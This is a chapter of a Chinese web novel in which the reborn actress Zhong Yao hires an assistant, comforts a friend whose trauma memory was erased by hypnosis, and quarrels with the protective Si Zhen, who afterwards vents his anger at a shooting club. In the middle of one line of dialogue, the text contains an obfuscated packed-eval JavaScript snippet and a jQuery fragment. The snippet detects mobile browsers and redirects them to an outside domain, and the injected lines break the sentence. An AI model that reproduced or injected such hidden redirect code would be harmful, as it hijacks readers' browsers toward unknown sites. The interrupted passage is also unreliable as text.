钟杳出了吴幻山的办公室，进了电梯。


    晓晓：“杳杳，你是想让徐娇娇去严穗那里当间谍吗？”


    钟杳：“各取所需而已，她想红，我想送严穗进去。”


    晓晓：“你好像不喜欢她。”


    钟杳：“上一世严穗骗我去酒店她是头功。”


    晓晓：……


    钟杳刚走到商迟的办公室外，不巧听到里面说话的声音。


    “解决干净，别被发现。”


    钟杳刚抬起手，门从里面打开，一个穿着黑色西装的男人走了出来，朝钟杳微微点头。


    商迟介绍道：“这是文辞，你的保镖兼司机。文辞，这就是钟杳，明池御的妹妹。”


    文辞颔首，“钟小姐，我是文辞，明医生救过我。”


    钟杳的视线从文辞的脸上扫过，点头，“你好，钟杳。”


    商迟从椅子上起身，“吴幻山说你要自己面试助理，正好你团队的人都过一眼。”


    钟杳：“我这有这配置？”


    商迟微笑提醒，“你的合同。”


    钟杳尴尬不失礼貌地笑了。


    钟杳的团队人员都是商迟安排的，自然没有问题。


    助理面了一个叫方婧的女孩，十九岁，圆脸爱笑，钟杳一眼就相中了她。


    钟杳下午更新了一条微博，除了公司给她买的僵尸粉，新涨的几乎都是颜粉。


    “钟杳姐，咱们现在去哪儿？”方婧问。


    钟杳：“回家睡觉。”


    徐娇娇在茶水间等钟杳，虽然她答应了钟杳合作，但心里还是不安。


    犹豫了很久决定去找钟杳，结果被告知人已经离开。


    方婧作为钟杳的助理，跟着钟杳回了家，当方婧看到钟杳拿出了卷子趴在茶几上写之后，默默去客房修照片剪视频。


    傍晚，方婧和钟杳吃了路擎送来的晚饭，钟杳又收到了安宁的消息。


    【平平安安：我不知道要怎么办了，我好乱，我不敢见张源，我真的不知道要怎么办了……】


    【声声：方便我来找你吗】


    钟杳见方婧收拾完碗筷，说道：“咱们出去一趟。”


    钟杳一直在和安宁说话，安宁家在老城区。


    文辞把车停在路边，方婧从包里掏出口罩和帽子，“把这个戴上。”


    “谢谢。”钟杳戴上口罩帽子，两人也跟着钟杳下车。


    钟杳根据安宁给的地址找到安宁家，张源就蹲在门外，看到来人，眼神警惕。


    钟杳拿起手机给安宁发消息。


    【声声：我在门口】


    过了三秒，吧嗒一声，门被打开。


    钟杳把聊天记录给安宁看，安宁侧身，钟杳走了进去。


    文辞要跟着，张源也不放心。


    钟杳回头，对文辞和方婧说道：“我没事，你们在外面等着就行。”


    安宁明显哭过了，给钟杳倒了杯水，就一直在搓手。


    “他告诉你了？”钟杳问。


    安宁点了点脑袋，轻弱的哭声溢出，极力压抑着情绪。


    钟杳把茶几上的纸巾塞到她手里，柔声问：“想让我怎么帮你？”


    “我不知道。”安宁抬起头，泪眼婆娑，“张源说他找了心理医生给我催眠，我也确实没有那段记忆。”


    钟杳垂眸想了很久，问：“你想记起来吗？”末了又补充了句，“那些不好的记忆。”


    安宁一直摇头，“不知道，我不知道。”


    钟杳抬手落在安宁的后颈，安宁瞳孔失焦，脑袋靠在钟杳身上。


    钟杳把安宁靠放在沙发上，起身去开门。


    张源立马冲了进来，看安宁在昏睡，怒视着钟杳问：“你做了什么？”


    钟杳：“她情绪太激动了，我只能让她先睡着。”


    文辞和方婧还在，钟杳说道：“先抱她回房间，我们谈谈。”


    主卧阳台，钟杳把商场那天的事和安宁找她的事告诉了张源。


    “安宁很聪明，即使你让人催眠了她的记忆，她也会发现端倪。”


    张源搓了下脸，嗤笑一声，眼眶腥红地问钟杳，“如果让她连我也忘记，她是不是就能有新的开始？”


    钟杳回头看向睡着的安宁。


    张源也看着，眼泪落下来，“我一直以为让她忘了那晚的事就是对她好，可我忘了，我才是她那些灰暗记忆的见证者，只要有我在，她就不可能真的忘记，不可能有新的生活。”


    “错的不是你，你不要把责任揽在自己身上。”钟杳很认真地对他说：“你们都没有错，安宁没有，你也没有。”


    张源仰起头，双拳紧紧地握着，良久，才看向钟杳，嗓音里带着祈求，“让她把我忘了吧，我会消失在她的视线里。”


    钟杳指尖微动，在两人没有看到的地方，床上的安宁留了下眼泪。


    ……


    从安宁家出来，钟杳一直闷闷不乐，方婧没敢问，只是转移话题，“前面有奶茶店，杳杳你要不要喝？”


    “不了，文辞靠边停车，我请你们。”


    方婧欲言又止，钟杳笑笑，“我没事，不喝是因为家里人不让喝。”


    “啊？这么严格，你偷偷喝也没事吧，我们两个保证不说。”方婧一脸认真。


    钟杳轻叹，“我信你。”


    找停车位的文辞瞳眸微闪，“我也不喝。”


    钟杳轻笑，“我不是贿赂你，不用有负担。”


    方婧不敢说话，回来的时候买了两杯。


    ……


    把钟杳送到小区，方婧和文辞就回去了。钟杳刚出电梯，看到楼道里站着司箴。


    “你怎么来了？”钟杳惊讶了一瞬，过去开门。


    司箴扬了扬手里的保温桶，“我问了云祉，换了新的药膳。”


    钟杳打开门，弯腰给司箴拿拖鞋。


    司箴进来关上门，把保温桶搁在置物柜上。


    钟杳换了鞋走到客厅趴在沙发上，把脑袋埋在玩偶里，司箴看了她一眼，提着保温桶去了厨房。


    司箴出来的时候，钟杳还保持着趴下的姿势没动，司箴弯腰扶着钟杳坐好，钟杳靠在沙发上叹气。


    “去公司不顺利？”司箴把碗放到钟杳手里。


    “不是公司。”钟杳收起脚缩在沙发上，小口喝着汤。


    司箴坐在一边，等钟杳喝完了，把纸巾盒推过去，“方便说吗？”


    钟杳擦了嘴，脑袋搁在膝盖上，“你不能告诉别人？”


    “我保证。”司箴举起手，“发誓不说。”


    “……我不知道自己做的究竟对不对，可是他们分开了。”钟杳偏头，眼神迷茫，“明明不是他们的错，为什么会是这样的结局？”


    司箴抬手，轻轻落在钟杳的脑袋上，“他们还年轻，这并不是最终的结局。”


    钟杳侧身把脑袋埋在司箴肩窝，嗓音闷闷的，“就是有点难受，在电梯里看到安宁和张源的时候，我想到了夏楠和苏若柠，还以为他们是幸运的。”


    司箴轻轻拍着钟杳的后背，“他们就是幸运的，不用多想。”


    “我也不知道为什么，老是控制不住情绪，就是心里很难受。”


    如果上一世她没有跟着桑晚学防身术，如果桑晚没有及时找过来，她是不是也会……


    司箴还在想要怎么跟钟杳讲，颈侧陡然泛起一阵刺痛，司箴浑身僵住，声音抖得不像话，“杳杳~”


    钟杳抬头，眼神懵懂，“我弄疼你了？”


    司箴下颚紧紧绷着，眼眸幽深，扣在钟杳身后的胳膊上青筋凸起，手下不禁加重了力道。


    “嘶！”


    钟杳挥掉司箴的胳膊往后退，看到司箴的眼神以为他生气了，立马道歉，“对不起，我错了。”


    话里听不出什么诚意。


    司箴闭上眼睛，手臂搁在腿上，脖颈微微仰着，衬衣的扣子开了两颗，隐隐可见白皙的皮肤和精致锁骨，凌厉的喉结上下滚动，整个人透着一股欲色。


    钟杳不敢说话，只是警惕地看着他。


    须臾，司箴再次睁开眼睛，眸低一片清明，嗓音却是又低又哑，带着警告，“钟杳，以后别乱咬人，任何人都不行。”


    钟杳下意识就反驳，“为什么，我以后要拍戏，身体接触都会有啊。”


    司箴额头的青筋跳动，漆黑的瞳眸深了些许，“不行就是不行，我会告诉商迟，这种本子一律不给你接。”


    “你凭什么管我？”钟杳跪坐在沙发上，满脸不服气，“我的工作你凭什么插手？”


    “因为明池御……”


    “那你管的也太多了。”钟杳打断他的话，语气很认真地说：“我很感激你的照顾，但是你也不能插手我的事情。”


    司箴盯着钟杳，双眸幽深。


    钟杳站在地上，仰着下巴看他，眼神倔强。


    “抱歉，是我逾矩了。”司箴蹲下把拖鞋放到钟杳脚下，抬头，“钟杳，我不干涉你的事。但你也该知道，你刚才的行为，对一个异性来说意味着什么。”


    钟杳皱眉，理所当然地说：“我不开心，所以发泄情绪，不对吗？”


    司箴站了起来，垂眸，视线紧紧盯着钟杳，“你发泄情绪的方式就是咬人？”


    “你不是在安慰我？”钟杳有理有据，“你还说现状不是他们最终的结局。”


    司箴：“这和你咬我有关系？”


    钟杳：“我在发泄情绪啊。”


    司箴：“你咬我是在发泄情绪？”


    钟杳：“不然呢？”


    司箴一口气出不上来，有些气急败坏，“你究竟懂不懂？”


    “我不懂啊。”钟杳蹙眉，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680347|152165||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也有些不耐烦，“所以你不是在开导了。”


    “早点休息。”


    司箴半晌憋出这句话，转身往门口走，脚步略显凌乱。


    小混蛋根本就是在消遣他，什么都敢做，偏偏什么也不懂。


    司箴怕继续留下来会被气到心梗，只想赶紧走。


    “等等。”司箴的手刚搭在门把手上，就听到小混蛋叫他，眸低划过一抹惊喜。


    钟杳回厨房拿了保温桶，“你忘东西了。”


    司箴回头，钟杳把保温桶塞到他怀里。


    关门的时候，司箴听到钟杳小声嘀咕，“年纪大了脾气就是怪。”


    看着关上的门，司箴一瞬间什么脾气也没了，自作自受吧，他该的。


    晓晓刚才目睹了两人吵架的全程，大气也不敢出。


    钟杳在藏书阁练舞，晓晓就趴在边上欣赏。


    别说，还真是越来越好看了。


    -


    司箴回到车上，给商迟把电话打过去。


    彼时商迟正和一个刚认识的小姐姐搭讪，小姐姐看到来电显示是祖宗，笑骂了声走了。


    商迟走到安静一些的地方接电话。


    “俱乐部等你。”


    “啊？”商迟看向来电显示，“这会儿？你不在老宅？”


    司箴重复了一遍，挂了电话。


    商迟不明所以，还是回去拿了外套往出走，结果在门口碰到一个熟人，“随泱？你怎么来这里了？”


    随泱冷冷地开口，“我去哪儿你管得着吗？”说完就推开商迟走了进去。


    ……


    商迟到俱乐部的时候，司箴正在射击，一发接着一发，平静又透着狠厉。


    商迟拉了旁边南歌问：“怎么回事？惹他了？”


    南歌摊手，“谁知道，我都没和他说话。”


    商迟狐疑地看向南歌，“你怎么在这儿？”


    南歌翻了个白眼，“玩啊，来这里还能干什么？”


    商迟将信将疑，又问：“章柿筠呢？他怎么不在？”


    南歌撇了撇嘴，“刚被司箴虐完，跑去哪儿哭了吧。”


    商迟看着司箴的方向眯眼，“不对，他不对劲。”


    商迟胳膊肘碰了碰南歌，“快，摇人，多叫几个，我不耐虐。”


    南歌边拿手机边问：“你是不是知道他怎么了？”


    “大概猜到一点，不确定。”


    商迟往南歌身后躲，司箴虽然混蛋吧，但不欺负女生，他可不想上赶着受虐。


    南歌眼神闪了闪，在群里叫人。


    司箴打完，扭头朝商迟看过来。


    商迟身体下意识站直，装雷达了吗他是。


    这个时间公子哥的夜生活才开始，再加上南歌说司箴也在，不一会儿就来了十多个。


    商迟双腿发软瘫在地上，章柿筠和南歌过去扶着他起来。


    商迟双目无神，“疯了吧，云祉不让动气，他就纯比划，谁不知道他再养伤，哪个敢还手？”


    南歌把毛巾丢给商迟，随意地问：“到底是谁惹的，气成这样？”


    商迟：“当然是司唯，除了他还能有谁，司唯多气人你见识过。”


    南歌笑笑，没说话。


    章柿筠瞥了眼台上，啧了声，“出气筒这个词具象化了，就应该把司唯带出来挨揍，那臭小子太皮了。”


    司箴发泄完，接住商迟丢过来的毛巾擦着额头和脖颈的汗，商迟眼眸一凛，起身挡在南歌前面，勾住司箴的脖子，开玩笑地说道：“四少火气真大，看看倒了多少个。”


    司箴睨了他一眼，一只手按在脖子上，“我今晚住你那儿。”


    商迟：“不太方便吧，我们俩走得太近万一被别人拍到了怎么办，我也算半个公众人物，要维护自己的形象。”


    司箴：“你还有形象？”


    商迟：“你说这话就伤人了。”


    南歌对司箴说道：“要不就住在俱乐部，柿筠留了房间给你。”


    “不必。”司箴指了指刚才台上下来的人，“留给他们。”


    章柿筠刚才跑的最快，所以他还能又蹦又跳，“那我送你们，南歌留下来安顿他们几个，毕竟大晚上把人叫来。”


    南歌瞪了他一眼，“我对这儿又不熟，我送司箴和商迟，你留下。”


    “路擎在外面，不用麻烦。”司箴说完拉着商迟往外走。


    “晚上开车注意安全。”章柿筠扯着嗓子喊了声，回头就看到南歌抱臂看着他。


    “哎呦我去！你看什么呢，凉飕飕的。”


    南歌：“司箴是被司唯气的？”


    “商迟不是说了，司唯多皮你还不清楚。”章柿筠说着转身往后走。


    南歌盯着他看了好几秒，又看向门口的方向。


    她还没瞎，一个个的都骗她。